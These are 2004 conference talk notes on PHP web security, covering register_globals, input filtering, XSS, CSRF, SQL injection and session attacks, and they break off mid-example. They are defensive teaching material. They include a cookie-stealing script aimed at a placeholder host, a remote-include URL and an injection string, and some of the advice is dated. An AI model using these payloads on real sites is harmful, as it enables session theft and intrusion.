PHP Security

ApacheCon
Las Vegas, Nevada, USA
14 Nov 2004

Chris Shiflett
http://shiflett.org/

Table of Contents

Overview

What Is Security?

- Security is a measurement, not a characteristic.

  It is unfortunate that many software projects list security as a simple requirement to be met. Is it secure? This question is as subjective as asking if something is hot.

- Security must be balanced with expense.

  It is easy and relatively inexpensive to provide a sufficient level of security for most applications. However, if your security needs are very demanding, because you're protecting information that is very valuable, then you must achieve a higher level of security at an increased cost. This expense must be included in the budget of the project.

- Security must be balanced with usability.

  It is not uncommon that steps taken to increase the security of a Web application also decrease the usability. Passwords, session timeouts, and access control all create obstacles for a legitimate user. Sometimes these are necessary to provide adequate security, but there isn't one solution that is appropriate for every application. It is wise to be mindful of your legitimate users as you implement security measures.

- Security must be part of the design.

  If you do not design your application with security in mind, you are doomed to be constantly addressing new security vulnerabilities. Careful programming cannot make up for a poor design.

Basic Steps

- Consider illegitimate uses of your application.

  A secure design is only part of the solution. During development, when the code is being written, it is important to consider illegitimate uses of your application. Often, the focus is on making the application work as intended, and while this is necessary to deliver a properly functioning application, it does nothing to help make the application secure.

- Educate yourself.

  The fact that you are here is evidence that you care about security, and as trite as it may sound, this is the most important step. There are numerous resources available on the Web and in print, and I mention several of these at the end of this talk.

- If nothing else, FILTER ALL FOREIGN DATA.

  Data filtering is the cornerstone of Web application security in any language and on any platform. By initializing your variables and filtering all data that comes from a foreign source, you will address a majority of security vulnerabilities with very little effort. A whitelist approach is better than a blacklist approach. This means that you should consider all data invalid unless it can be proven valid (rather than considering all data valid unless it can be proven invalid).

Register Globals

The **register_globals** directive is disabled by default in PHP versions 4.2.0 and greater. While it does not represent a security vulnerability, it is a security risk. Therefore, you should always develop and deploy applications with **register_globals** disabled.

Why is it a security risk? Good examples are difficult to produce for everyone, because it often requires a unique situation to make the risk clear. However, the most common example is that found in the PHP manual:

```
<?php

if (authenticated_user())
{
    $authorized = true;
}

if ($authorized)
{
    include '/highly/sensitive/data.php';
}

?>
```

With **register_globals** enabled, this page can be requested with **?authorized=1** in the query string to bypass the intended access control. Of course, this particular vulnerability is the fault of the developer, not **register_globals**, but this indicates the increased risk posed by the directive. Without it, ordinary global variables (such as **$authorized** in the example) are not affected by data submitted by the client. A best practice is to initialize all variables and to develop with **error_reporting** set to **E_ALL**, so that the use of an uninitialized variable won't be overlooked during development.

Another example that illustrates how **register_globals** can be problematic is the following use of **include** with a dynamic path:

```
<?php

include "$path/script.php";

?>
```

With **register_globals** enabled, this page can be requested with **?path=http%3A%2F%2Fevil.example.org%2F%3F** in the query string in order to equate this example to the following:

```
<?php

include 'http://evil.example.org/?/script.php';

?>
```

If **allow_url_fopen** is enabled (which it is by default, even in **php.ini-recommended**), this will include the output of **http://evil.example.org/** just as if it were a local file. This is a major security vulnerability, and it is one that has been discovered in some popular open source applications.

Initializing **$path** can mitigate this particular risk, but so does disabling **register_globals**. Whereas a developer's mistake can lead to an uninitialized variable, disabling **register_globals** is a global configuration change that is far less likely to be overlooked.

The convenience is wonderful, and those of us who have had to manually handle form data in the past appreciate this. However, using the **$_POST** and **$_GET** superglobal arrays is still very convenient, and it's not worth the added risk to enable **register_globals**. While I completely disagree with arguments that equate **register_globals** to poor security, I do recommend that it be disabled.

In addition to all of this, disabling **register_globals** encourages developers to be mindful of the origin of data, and this is an important characteristic of any security-conscious developer.

Data Filtering

As stated previously, data filtering is the cornerstone of Web application security, and this is independent of programming language or platform. It involves the mechanism by which you determine the validity of data that is entering and exiting the application, and a good software design can help developers to:

- Ensure that data filtering cannot be bypassed,
- Ensure that invalid data cannot be mistaken for valid data, and
- Identify the origin of data.

Opinions about how to ensure that data filtering cannot be bypassed vary, but there are two general approaches that seem to be the most common, and both of these provide a sufficient level of assurance.

The Dispatch Method

One method is to have a single PHP script available directly from the Web (via URL). Everything else is a module included with **`include`** or **`require`** as needed. This method usually requires that a GET variable be passed along with every URL, identifying the task. This GET variable can be considered the replacement for the script name that would be used in a more simplistic design. For example:

```
http://example.org/dispatch.php?task=print_form
```

The file **`dispatch.php`** is the only file within document root. This allows a developer to do two important things:

- Implement some global security measures at the top of **`dispatch.php`** and be assured that these measures cannot be bypassed.
- Easily see that data filtering takes place when necessary, by focusing on the control flow of a specific task.

To further explain this, consider the following example **dispatch.php** script:

```
<?php

/* Global security measures */

switch ($_GET['task'])
{
    case 'print_form':
        include '/inc/presentation/form.inc';
        break;

    case 'process_form':
        $form_valid = false;
        include '/inc/logic/process.inc';
        if ($form_valid)
        {
            include '/inc/presentation/end.inc';
        }
        else
        {
            include '/inc/presentation/form.inc';
        }
        break;

    default:
        include '/inc/presentation/index.inc';
        break;
}

?>
```

If this is the only public PHP script, then it should be clear that the design of this application ensures that any global security measures taken at the top cannot be bypassed. It also lets a developer easily see the control flow for a specific task. For example, instead of glancing through a lot of code, it is easy to see that **end.inc** is only displayed to a user when **$form_valid** is **true**, and because it is initialized as **false** just before **process.inc** is included, it is clear that the logic within **process.inc** must set it to **true**, otherwise the form is displayed again (presumably with appropriate error messages).

NOTE:

If you use a directory index file such as ***`index.php`*** *(instead of* ***`dispatch.php`****), you can use URLs such as* ***`http://example.org/?task=print_form`****.*

You can also use the Apache ***`ForceType`*** *directive or* ***`mod_rewrite`*** *to accommodate URLs such as* ***`http://example.org/app/print-form`****.*

The Include Method

Another approach is to have a single module that is responsible for all security measures. This module is included at the top (or very near the top) of all PHP scripts that are public (available via URL). Consider the following **`security.inc`** script:

```
<?php

switch ($_POST['form'])
{
    case 'login':
        $allowed = array();
        $allowed[] = 'form';
        $allowed[] = 'username';
        $allowed[] = 'password';

        $sent = array_keys($_POST);

        if ($allowed == $sent)
        {
            include '/inc/logic/process.inc';
        }

        break;
}

?>
```

In this example, each form that is submitted is expected to have a form variable named **`form`** that uniquely identifies it, and **`security.inc`** has a separate **`case`** to handle the data filtering for that particular form. An example of an HTML form that fulfills this requirement is as follows:

```
<form action="/receive.php" method="post">
<input type="hidden" name="form" value="login" />
<p>Username:
<input type="text" name="username" /></p>
<p>Password:
<input type="password" name="password" /></p>
<input type="submit" />
</form>
```

An array named **`$allowed`** is used to identify exactly which form variables are allowed, and this list must be identical in order for the form to be processed. Control flow is determined elsewhere, and **`process.inc`** is where the actual data filtering takes place.

NOTE:

*A good way to ensure that **`security.inc`** is always included at the top of every PHP script is to use the **`auto_prepend_file`** directive.*

Filtering Examples

It is important to take a whitelist approach to your data filtering, and while it is impossible to give examples for every type of form data you may encounter, a few examples can help to illustrate a sound approach.

The following validates an email address:

```
<?php

$clean = array();

$email_pattern =
'/^[^@\s]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';

if (preg_match($email_pattern, $_POST['email']))
{
    $clean['email'] = $_POST['email'];
}

?>
```

The following ensures that **`$_POST['color']`** is **`red`**, **`green`**, or **`blue`**:

```
<?php

$clean = array();

switch ($_POST['color'])
{
    case 'red':
    case 'green':
    case 'blue':
        $clean['color'] = $_POST['color'];
        break;
}

?>
```

The following example ensures that **`$_POST['num']`** is an integer:

```
<?php

$clean = array();

if ($_POST['num'] == strval(intval($_POST['num'])))
{
    $clean['num'] = $_POST['num'];
}

?>
```

The following example ensures that **`$_POST['num']`** is a float:

```
<?php

$clean = array();

if ($_POST['num'] == strval(floatval($_POST['num'])))
{
    $clean['num'] = $_POST['num'];
}

?>
```

Naming Conventions

Each of the previous examples make use of an array named **`$clean`**. This illustrates a good practice that can help developers identify whether data is potentially tainted. You should never make a practice of validating data and leaving it in **`$_POST`** or **`$_GET`**, because it is important for developers to always be suspicious of data within these arrays.

In addition, a more liberal use of **`$clean`** can allow you to consider everything else to be tainted, and this more closely resembles a whitelist approach and therefore offers an increased level of security.

If you only store data in **`$clean`** after it has been validated, the only risk in a failure to validate something is that you might reference an array element that doesn't exist rather than potentially tainted data.

Timing

Once a PHP script begins processing, the entire HTTP request has been received. This means that the user does not have another opportunity to send data, and therefore no data can be injected into your script (even if **`register_globals`** is enabled). This is why initializing your variables is such a good practice.

Error Reporting

In versions of PHP prior to PHP 5, released 13 Jul 2004, error reporting is pretty simplistic. Aside from careful programming, it relies mostly upon a few specific PHP configuration directives:

- **`error_reporting`**

  This directive sets the level of error reporting desired. It is strongly suggested that you set this to **`E_ALL`** for both development and production.

- **`display_errors`**

  This directive determines whether errors should be displayed on the screen (included in the output). You should develop with this set to **`On`**, so that you can be alerted to errors during development, and you should set this to **`Off`** for production, so that errors are hidden from the users (and potential attackers).

- **`log_errors`**

  This directive determines whether errors should be written to a log. While this may raise performance concerns, it is desirable that errors are rare. If logging errors presents a strain on the disk due to the heavy I/O, you probably have larger concerns than the performance of your application. You should set this directive to **`On`** in production.

- **`error_log`**

  This directive indicates the location of the log file to which errors are written. Make sure that the Web server has write privileges for the specified file.

Having **error_reporting** set to **`E_ALL`** will help to enforce the initialization of variables, because a reference to an undefined variable will generate a notice.

NOTE:

Each of these directives can be set with ***`ini_set()`****, in case you do not have access to* ***`php.ini`*** *or another method of setting these directives.*

A good reference on all error handling and reporting functions is in the PHP manual:

http://www.php.net/manual/en/ref.errorfunc.php

PHP 5 includes exception handling. For more information, see:

http://www.php.net/zend-engine-2.php

Form Processing

Spoofed Form Submissions

In order to appreciate the necessity of data filtering, consider the following form located (hypothetically speaking) at **`http://example.org/form.html`**:

```
<form action="/process.php" method="post">
<select name="color">
    <option value="red">red</option>
    <option value="green">green</option>
    <option value="blue">blue</option>
</select>
<input type="submit" />
</form>
```

Imagine a potential attacker who saves this HTML and modifies it as follows:

```
<form action="http://example.org/process.php"
method="post">
<input type="text" name="color" />
<input type="submit" />
</form>
```

This new form can now be located anywhere (a Web server is not even necessary, since it only needs to be readable by a Web browser), and the form can be manipulated as desired. The absolute URL used in the **`action`** attribute causes the POST request to be sent to the same place.

This makes it very easy to eliminate any client-side restrictions, whether HTML form restrictions or client-side scripts intended to perform some rudimentary data filtering. In this particular example, **`$_POST['color']`** is not necessarily **`red`**, **`green`**, or **`blue`**. With a very simple procedure, any user can create a convenient form that can be used to submit any data to the URL that processes the form.

Spoofed HTTP Requests

A more powerful, although less convenient approach is to spoof an HTTP request. In the example form just discussed, where the user chooses a color, the resulting HTTP request looks like the following (assuming a choice of **`red`**):

```
POST /process.php HTTP/1.1
Host: example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

color=red
```

The telnet utility can be used to perform some ad hoc testing. The following example makes a simple GET request for **`http://www.php.net/`**:

```
$telnet www.php.net 80
Trying 64.246.30.37...
Connected to rs1.php.net.
Escape character is '^]'.
GET / HTTP/1.1
Host: www.php.net

HTTP/1.1 200 OK
Date: Wed, 21 May 2004 12:34:56 GMT
Server: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a
PHP/4.3.3-dev
X-Powered-By: PHP/4.3.3-dev
Last-Modified: Wed, 21 May 2004 12:34:56 GMT
Content-language: en
Set-Cookie: COUNTRY=USA%2C12.34.56.78; expires=Wed,
28-May-04 12:34:56 GMT; path=/; domain=.php.net
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

2083
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01
Transitional//EN">
...
```

Of course, you can write your own client instead of manually entering requests with **`telnet`**. The following example shows how to perform the same request using PHP:

```
<?php

$http_response = '';

$fp = fsockopen('www.php.net', 80);
fputs($fp, "GET / HTTP/1.1\r\n");
fputs($fp, "Host: www.php.net\r\n\r\n");

while (!feof($fp))
{
    $http_response .= fgets($fp, 128);
}

fclose($fp);

echo nl2br(htmlentities($http_response));

?>
```

Sending your own HTTP requests gives you complete flexibility, and this demonstrates why server-side data filtering is so essential. Without it, you have no assurances about any data that originates from any foreign source.

Cross-Site Scripting

The media has helped make cross-site scripting (XSS) a familiar term, and the attention is deserved. It is one of the most common security vulnerabilities in Web applications, and many popular open source PHP applications suffer from constant XSS vulnerabilities.

XSS attacks have the following characteristics:

- Exploit the trust a user has for a particular site.

  Users don't necessarily have a high level of trust for any Web site, but the browser does. For example, when the browser sends cookies in a request, it is trusting the Web site. Users may also have different browsing habits or even different levels of security defined in their browser depending on which site they are visiting.

- Generally involve Web sites that display foreign data.

  Applications at a heightened risk include forums, Web mail clients, and anything that displays syndicated content (such as RSS feeds).

- Inject content of the attacker's choosing.

  When foreign data is not properly filtered, you might display content of the attacker's choosing. This is just as dangerous as letting the attacker edit your source on the server.

How can this happen? If you display content that comes from any foreign source without properly filtering it, you are vulnerable to XSS. Foreign data isn't limited to data that comes from the client. It also means email displayed in a Web mail client, a banner advertisement, a syndicated blog, and the like. Any information that is not already in the code comes from a foreign source, and this generally means that most data is foreign data.

Consider the following example of a simplistic message board:

```
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

if (isset($_GET['message']))
{
    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "{$_GET['message']}<br />");
    fclose($fp);
}

readfile('./messages.txt');

?>
```

This message board appends **
** to whatever the user enters, appends this to a file, then displays the current contents of the file.

Imagine if a user enters the following message:

```
<script>
document.location =
'http://evil.example.org/steal_cookies.php?cookies=' +
document.cookie
</script>
```

The next user who visits this message board with JavaScript enabled is redirected to **evil.example.org**, and any cookies associated with the current site are included in the query string of the URL.

Of course, a real attacker wouldn't be limited by my lack of creativity or JavaScript expertise. Feel free to suggest better (more malicious?) examples.

What can you do? XSS is actually very easy to defend against. Where things get difficult is when you want to allow some HTML or client-side scripts to be provided by foreign sources (such as other users) and ultimately displayed, but even these situations aren't terribly difficult to handle. The following best practices can mitigate the risk of XSS:

- Filter all foreign data.

  As mentioned earlier, data filtering is the most important practice you can adopt. By validating all foreign data as it enters and exits your application, you will mitigate a majority of XSS concerns.

- Use existing functions.

  Let PHP help with your filtering logic. Functions like **`htmlentities()`**, **`strip_tags()`**, and **`utf8_decode()`** can be useful. Try to avoid reproducing something that a PHP function already does. Not only is the PHP function much faster, but it is also more tested and less likely to contain errors that yield vulnerabilities.

- Use a whitelist approach.

  Assume data is invalid until it can be proven valid. This involves verifying the length and also ensuring that only valid characters are allowed. For example, if the user is supplying a last name, you might begin by only allowing alphabetic characters and spaces. Err on the side of caution. While the names O'Reilly and Berners-Lee will be considered invalid, this is easily fixed by adding two more characters to the whitelist. It is better to deny valid data than to accept malicious data.

- Use a strict naming convention.

  As mentioned earlier, a naming convention can help developers easily distinguish between filtered and unfiltered data. It is important to make things as easy and clear for developers as possible. A lack of clarity yields confusion, and this breeds vulnerabilities.

A much safer version of the simple message board mentioned earlier is as follows:

```
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

if (isset($_GET['message']))
{
    $message = htmlentities($_GET['message']);

    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "$message<br />");
    fclose($fp);
}

readfile('./messages.txt');

?>
```

With the simple addition of **`htmlentities()`**, the message board is now much safer. It should not be considered completely secure, but this is probably the easiest step you can take to provide an adequate level of protection. Of course, it is highly recommended that you follow all of the best practices that have been discussed.

Cross-Site Request Forgeries

Despite the similarities in name, cross-site request forgeries (CSRF) are an almost opposite style of attack. Whereas XSS attacks exploit the trust a user has in a Web site, CSRF attacks exploit the trust a Web site has in a user. CSRF attacks are more dangerous, less popular (which means fewer resources for developers), and more difficult to defend against than XSS attacks.

CSRF attacks have the following characteristics:

- Exploit the trust that a site has for a particular user.

  Many users may not be trusted, but it is common for Web applications to offer users certain privileges upon logging in to the application. Users with these heightened privileges are potential victims (unknowing accomplices, in fact).

- Generally involve Web sites that rely on the identity of the users.

  It is typical for the identity of a user to carry a lot of weight. With a secure session management mechanism, which is a challenge in itself, CSRF attacks can still be successful. In fact, it is in these types of environments where CSRF attacks are most potent.

- Perform HTTP requests of the attacker's choosing.

  CSRF attacks include all attacks that involve the attacker forging an HTTP request from another user (in essence, tricking a user into sending an HTTP request on the attacker's behalf). There are a few different techniques that can be used to accomplish this, and I will show some examples of one specific technique.

Because CSRF attacks involve the forging of HTTP requests, it is important to first gain a basic level of familiarity with HTTP.

A Web browser is an HTTP client, and a Web server is an HTTP server. Clients initiate a transaction by sending a request, and the server completes the transaction by sending a response. A typical HTTP request is as follows:

```
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
```

The first line is called the request line, and it contains the request method, request URL (a relative URL is used), and HTTP version. The other lines are HTTP headers, and each header name is followed by a colon, a space, and the value.

You might be familiar with accessing this information in PHP. For example, the following code can be used to rebuild this particular HTTP request:

```php
<?php

$request = '';
$request .= "{$_SERVER['REQUEST_METHOD']} ";
$request .= "{$_SERVER['REQUEST_URI']} ";
$request .= "{$_SERVER['SERVER_PROTOCOL']}\r\n";
$request .= "Host: {$_SERVER['HTTP_HOST']}\r\n";
$request .=
"User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";
$request .=
"Accept: {$_SERVER['HTTP_ACCEPT']}\r\n\r\n";

?>
```

An example response to the previous request is as follows:

```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 57

<html>
<img src="http://example.org/image.png" />
</html>
```

The content of a response is what you see when you view source in a browser. The **img** tag in this particular response alerts the browser to the fact that another resource (an image) is necessary to properly render the page. The browser requests this resource as it would any other, and the following is an example of such a request:

```
GET /image.png HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
```

This is worthy of attention. The browser requests the URL specified in the **src** attribute of the **img** tag just as if the user had manually navigated there. The browser has no way to specifically indicate that it expects an image.

Combine this with what you've learned about forms, and then consider a URL similar to the following:

```
http://stocks.example.org/buy.php?symbol=SCOX&quantity=1000
```

A form submission that uses the GET method can potentially be indistinguishable from an image request – both could be requests for the same URL. If **register_globals** is enabled, the method of the form isn't even important (unless the developer still uses **$_POST** and the like). Hopefully the dangers are already becoming clear.

Another characteristic that makes CSRF so powerful is that any cookies pertaining to a URL are included in the request for that URL. A user who has an established relationship with **`stocks.example.org`** (such as being logged in) can potentially buy 1000 shares of SCOX by visiting a page with an **`img`** tag that specifies the URL in the previous example.

Consider the following form located (hypothetically) at **`http://stocks.example.org/form.html`**:

```
<p>Buy Stocks Instantly!</p>
<form action="/buy.php">
<p>Symbol:
<input type="text" name="symbol" /></p>
<p>Quantity:
<input type="text" name="quantity" /></p>
<input type="submit" />
</form>
```

If the user enters **`SCOX`** for the symbol, **`1000`** as the quantity, and submits the form, the request that is sent by the browser is similar to the following:

```
GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1
Host: stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
```

I include a **`Cookie`** header in this example to illustrate the application using a cookie for the session identifier. If an **`img`** tag references the same URL, the same cookie will be sent in the request for that URL, and the server processing the request will be unable to distinguish this from an actual order.

There are a few things you can do to protect your applications against CSRF:

- Use **`POST`** rather than **`GET`** in forms.

  Specify **`POST`** in the **`method`** attribute of your forms. Of course, this isn't appropriate for all of your forms, but it is appropriate when a form is performing an action, such as buying stocks. In fact, the HTTP specification requires that GET be considered safe.

- Use **`$_POST`** rather than rely on **`register_globals`**.

  Using the **`POST`** method for form submissions is useless if you rely on **`register_globals`** and reference form variables like **`$symbol`** and **`$quantity`**. It is also useless if you use **`$_REQUEST`**.

- Do not focus on convenience.

  While it seems desirable to make a user's experience as convenient as possible, too much convenience can have serious consequences. While "one-click" approaches can be made very secure, a simple implementation is likely to be vulnerable to CSRF.

- Force the use of your own forms.

  The biggest problem with CSRF is having requests that look like form submissions but aren't. If a user has not requested the page with the form, should you assume a request that looks like a submission of that form to be legitimate and intended?

Now we can write an even more secure message board:

```
<?php

$token = md5(time());
$fp = fopen('./tokens.txt', 'a');
fwrite($fp, "$token\n");
fclose($fp);

?>

<form method="post">
<input type="hidden" name="token" value="<?php echo
$token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

$tokens = file('./tokens.txt');

if (in_array($_POST['token'], $tokens))
{
    if (isset($_POST['message']))
    {
        $message = htmlentities($_POST['message']);

        $fp = fopen('./messages.txt', 'a');
        fwrite($fp, "$message<br />");
        fclose($fp);
    }
}
readfile('./messages.txt');

?>
```

This message board still has a few security vulnerabilities. Can you spot them?

Time is extremely predictable. Using the MD5 digest of a timestamp is a poor excuse for a random number. Better functions include **`uniqid()`** and **`rand()`**.

More importantly, it is trivial for an attacker to obtain a valid token. By simply visiting this page, a valid token is generated and included in the source. With a valid token, the attack is as simple as before the token requirement was added.

Here is an improved message board:

```
<?php

session_start();
if (isset($_POST['message']))
{
    if ($_POST['token'] == $_SESSION['token'])
    {
        $message = htmlentities($_POST['message']);

        $fp = fopen('./messages.txt', 'a');
        fwrite($fp, "$message<br />");
        fclose($fp);
    }
}

$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;

?>

<form method="post">
<input type="hidden" name="token" value="<?php echo
$token; ?>" />
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php readfile('./messages.txt'); ?>
```

Is this one completely secure?

Databases and SQL

Exposed Access Credentials

Most PHP applications interact with a database. This usually involves connecting to a database server and using access credentials to authenticate:

```
<?php

$host = 'example.org';
$username = 'myuser';
$password = 'mypass';

$db = mysql_connect($host, $username, $password);

?>
```

This could be an example of a file called **db.inc** that is included whenever a connection to the database is needed. This approach is convenient, and it keeps the access credentials in a single file.

Potential problems arise when this file is somewhere within document root. This is a common approach, because it makes **include** and **require** statements much simpler, but it can lead to situations that expose your access credentials.

Remember that everything within document root has a URL associated with it. For example, if document root is **/usr/local/apache/htdocs**, then a file located at **/usr/local/apache/htdocs/inc/db.inc** has a URL such as **http://example.org/inc/db.inc**.

Combine this with the fact that most Web servers will serve **.inc** files as plain text, and the risk of exposing your access credentials should be clear. A bigger problem is that any source code in these modules can be exposed, but access credentials are particularly sensitive.

Of course, one simple solution is to place all modules outside of document root, and this is a good practice. Both **include** and **require** can accept a filesystem path, so there's no need to make modules accessible via URL. It is an unnecessary risk.

If you have no choice in the placement of your modules, and they must be within document root, you can put something like the following in your **httpd.conf** file (assuming Apache):

```
<Files ~ "\.inc$">
    Order allow, deny
    Deny from all
</Files>
```

It is not a good idea to have your modules processed by the PHP engine. This includes renaming your modules with a **.php** extension as well as using **AddType** to have **.inc** files treated as PHP files. Executing code out of context can be very dangerous, because it's unexpected and can lead to unknown results. However, if your modules consist of only variable assignments (as an example), this particular risk is mitigated.

My favorite method for protecting your database access credentials is described in the *PHP Cookbook* (O'Reilly) by David Sklar and Adam Trachtenberg. Create a file, **/path/to/secret-stuff**, that only **root** can read (not **nobody**) :

```
SetEnv DB_USER "myuser"
SetEnv DB_PASS "mypass"
```

Include this file within **httpd.conf** as follows:

```
Include "/path/to/secret-stuff"
```

Now you can use **$_SERVER['DB_USER']** and **$_SERVER['DB_PASS']** in your code. Not only do you never have to write your username and password in any of your scripts, the Web server can't read the **secret-stuff** file, so no other users can write scripts to read your access credentials (regardless of language). Just be careful not to expose these variables with something like **phpinfo()** or **print_r($_SERVER)**.

SQL Injection

SQL injection attacks are extremely simple to defend against, but many applications are still vulnerable. Consider the following SQL statement:

```
<?php

$sql = "INSERT
        INTO users (reg_username,
                    reg_password,
                    reg_email)
        VALUES ('{$_POST['reg_username']}',
                '$reg_password',
                '{$_POST['reg_email']}')";

?>
```

This query is constructed with **`$_POST`**, which should immediately look suspicious.

Assume that this query is creating a new account. The user provides a desired username and an email address. The registration application generates a temporary password and emails it to the user to verify the email address. Imagine that the user enters the following as a username:

```
bad_guy', 'mypass', ''), ('good_guy
```

This certainly doesn't look like a valid username, but with no data filtering in place, the application can't tell. If a valid email address is given (**shiflett@php.net**, for example), and **1234** is what the application generates for the password, the SQL statement becomes the following:

```
<?php

 $sql = "INSERT
         INTO users (reg_username,
                     reg_password,
                     reg_email)
         VALUES (' bad_guy', 'mypass', ''),
                ('good_guy',
                 '1234',
                 'shiflett@php.net')";

 ?>
```

Rather than the intended action of creating a single account (**good_guy**) with a valid email address, the application has been tricked into creating two accounts, and the user supplied every detail of the **bad_guy** account.

While this particular example might not seem so harmful, it should be clear that worse things could happen once an attacker can make modifications to your SQL statements.

For example, depending on the database you are using, it might be possible to send multiple queries to the database server in a single call. Thus, a user can potentially terminate the existing query with a semicolon and follow this with a query of the user's choosing.

MySQL, until recently, does not allow multiple queries, so this particular risk is mitigated. Newer versions of MySQL allow multiple queries, but the corresponding PHP extension (**ext/mysqli**) requires that you use a separate function if you want to send multiple queries (**mysqli_multi_query()** instead of **mysqli_query()**). Only allowing a single query is safer, because it limits what an attacker can potentially do.

Protecting against SQL injection is easy:

- Filter your data.

  This cannot be overstressed. With good data filtering in place, most security concerns are mitigated, and some are practically eliminated.

- Quote your data.

  If your database allows it (MySQL does), put single quotes around all values in your SQL statements, regardless of the data type.

- Escape your data.

  Sometimes valid data can unintentionally interfere with the format of the SQL statement itself. Use **`mysql_escape_string()`** or an escaping function native to your particular database. If there isn't a specific one, **`addslashes()`** is a good last resort.

Sessions

Session Fixation

Session security is a sophisticated topic, and it's no surprise that sessions are a frequent target of attack. Most session attacks involve impersonation, where the attacker attempts to gain access to another user's session.

The most crucial piece of information for an attacker is the session identifier, because this is required for any impersonation attack. There are three common methods used to obtain a valid session identifier:

1. Prediction
2. Capture
3. Fixation

Prediction refers to guessing a valid session identifier. With PHP's native session mechanism, the session identifier is extremely random, and this is unlikely to be the weakest point in your implementation.

Capturing a valid session identifier is the most common type of session attack, and there are numerous approaches. Because session identifiers are typically propagated in cookies or as GET variables, the different approaches focus on attacking these methods of transfer. While there have been a few browser vulnerabilities regarding cookies, these have mostly been Internet Explorer, and cookies are slightly less exposed than GET variables. Thus, for those users who enable cookies, you can provide them with a more secure mechanism.

Fixation is the simplest method of obtaining a valid session identifier. While it's not very difficult to defend against, if your session mechanism consists of nothing more than **`session_start()`**, you are vulnerable.

In order to demonstrate session fixation, I will use the following script, **`session.php`**:

```
<?php

session_start();

if (!isset($_SESSION['visits']))
{
$_SESSION['visits'] = 1;
}
else
{
$_SESSION['visits']++;
}

echo $_SESSION['visits'];

?>
```

Upon first visiting the page, you should see **`1`** output to the screen. On each subsequent visit, this should increment to reflect how many times you have visited the page.

To demonstrate session fixation, first make sure that you do not have an existing session identifier (perhaps delete your cookies), then visit this page with **`?PHPSESSID=1234`** appended to the URL. Next, with a completely different browser (or even a completely different computer), visit the same URL again with **`?PHPSESSID=1234`** appended. You will notice that you do not see **`1`** output on your first visit, but rather it continues the session you previously initiated.

Why can this be problematic? Most session fixation attacks simply use a link or a protocol-level redirect to send a user to a remote site with a session identifier appended to the URL. The user likely won't notice, since the site will behave exactly the same. Because the attacker chose the session identifier, it is already known, and this can be used to launch impersonation attacks such as session hijacking.

A simplistic attack such as this is quite easy to prevent. If there isn't an active session associated with a session identifier that the user is presenting, then regenerate it just to be sure:

```
<?php

session_start();

if (!isset($_SESSION['initiated']))
{
    session_regenerate_id();
    $_SESSION['initiated'] = true;
}

?>
```

The problem with such a simplistic defense is that an attacker can simply initialize a session for a particular session identifier, and then use that identifier to launch the attack.

To protect against this type of attack, first consider that session hijacking is only really useful after the user has logged in or otherwise obtained a heightened level of privilege. So, if we modify the approach to regenerate the session identifier whenever there is any change in privilege level (for example, after verifying a username and password), we will have practically eliminated the risk of a successful session fixation attack.

Session Hijacking

Arguably the most common session attack, session hijacking refers to all attacks that attempt to gain access to another user's session.

As with session fixation, if your session mechanism only consists of **`session_start()`**, you are vulnerable, although the exploit isn't as simple.

Rather than focusing on how to keep the session identifier from being captured, I am going to focus on how to make such a capture less problematic. The goal is to complicate impersonation, since every complication increases security. To do this, we will examine the steps necessary to successfully hijack a session. In each scenario, we will assume that the session identifier has been compromised.

With the most simplistic session mechanism, a valid session identifier is all that is needed to successfully hijack a session. In order to improve this, we need to see if there is anything extra in an HTTP request that we can use for extra identification.

NOTE:

It is unwise to rely on anything at the TCP/IP level, such as IP address, because these are lower level protocols that are not intended to accommodate activities taking place at the HTTP level. A single user can potentially have a different IP address for each request, and multiple users can potentially have the same IP address.

Recall a typical HTTP request:

```
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
```

Only the **`Host`** header is required by HTTP/1.1, so it seems unwise to rely on anything else. However, consistency is really all we need, because we're only interested in complicating impersonation without adversely affecting legitimate users.

Imagine that the previous request is followed by a request with a different **`User-Agent`**:

```
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla Compatible (MSIE)
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
```

Although the same cookie is presented, should it be assumed that this is the same user? It seems highly unlikely that a browser would change the **`User-Agent`** header between requests, right? Let's modify the session mechanism to do an extra check:

```php
<?php

session_start();

if (isset($_SESSION['HTTP_USER_AGENT']))
{
    if ($_SESSION['HTTP_USER_AGENT'] !=
        md5($_SERVER['HTTP_USER_AGENT']))
    {
        /* Prompt for password */
        exit;
    }
}
else
{
    $_SESSION['HTTP_USER_AGENT'] =
    md5($_SERVER['HTTP_USER_AGENT']);
}

?>
```

Now an attacker must not only present a valid session identifier, but also the correct **`User-Agent`** header that is associated with the session. This complicates things slightly, and it is therefore a bit more secure.

Can we improve this? Consider that the most common method used to obtain cookie values is by exploiting a vulnerable browser such as Internet Explorer. These exploits involve the victim visiting the attacker's site, so the attacker will be able to obtain the correct **`User-Agent`** header. Something additional is necessary to protect against this situation.

Imagine if we required the user to pass the MD5 of the **`User-Agent`** in each request. An attacker could no longer just recreate the headers that the victim's requests contain, but it would also be necessary to pass this extra bit of information. While guessing the construction of this particular token isn't too difficult, we can complicate such guesswork by simply adding an extra bit of randomness to the way we construct the token:

```
<?php

$string = $_SERVER['HTTP_USER_AGENT'];
$string .= 'SHIFLETT';

